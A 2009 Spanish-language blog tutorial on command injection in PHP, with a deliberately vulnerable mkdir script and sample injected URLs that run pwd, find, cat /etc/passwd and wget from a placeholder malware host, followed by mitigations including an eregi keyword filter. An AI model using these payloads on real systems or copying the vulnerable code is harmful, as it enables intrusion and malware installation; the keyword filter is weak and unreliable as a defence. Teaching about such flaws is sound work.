7 de octubre de 2009

Inyección comandos en PHP

* Toda la información contenida en este artículo es con fines académicos.

En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como system, exec, etc.

Estas funciones tiene la facultad de ejecutar desde php comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una inyección de código y ejecutar comandos arbitratiamente en el servidor.

Un ejemplo práctico:

Este programa lo que hace es tomar una variable por médoto get (también aplica para post con los cambios necesarios) y crea un directorio

<?

if (trim($_GET['directorio'])!=NULL) {
system ("mkdir {$_GET['directorio']}");

echo "directorio creado {$_GET['directorio']}";
}
else
echo "directorio vacio";

?>


NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.

En la url del navegador se escribirá algo como sigue:

http://misitio.net/dirs/script.php?directorio=directorionuevo


("directorionuevo" es el directorio recién creado)

En la línea del código:

system ("mkdir {$_GET['directorio']}");

se ejecuta un comando de sistema operativo con la función system para crear el directorio.

Si sustituitmos la ejecución del script desde el navegador en la función system tendremos:

mkdir directorionuevo

Nosotros sabemos que en linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:

mkdir directorionuevo; pwd

Bien, ahora nosotros podemos hacer lo mismo desde la url del navegador:

http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd

con esto nos creará el directorio "directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el script (comando pwd).

/var/www/html/dirs/

Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.

Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:

http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777

Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque brute force:

http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd

Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:

http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt

El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.

Solución

Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.

Aquí presentamos algunas soluciones:

  • En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo






  • No usar las funciones shell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo






  • Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"






  • Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's






  • Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software:






  • <?

    foreach ($_GET as $variable => $valor)

    if (eregi("wget |curl |GET ", $valor)) {
    exit;

    }

    ?>


    Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.

    Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.

    Esperamos sus comentarios.

    No hay comentarios:

    Publicar un comentario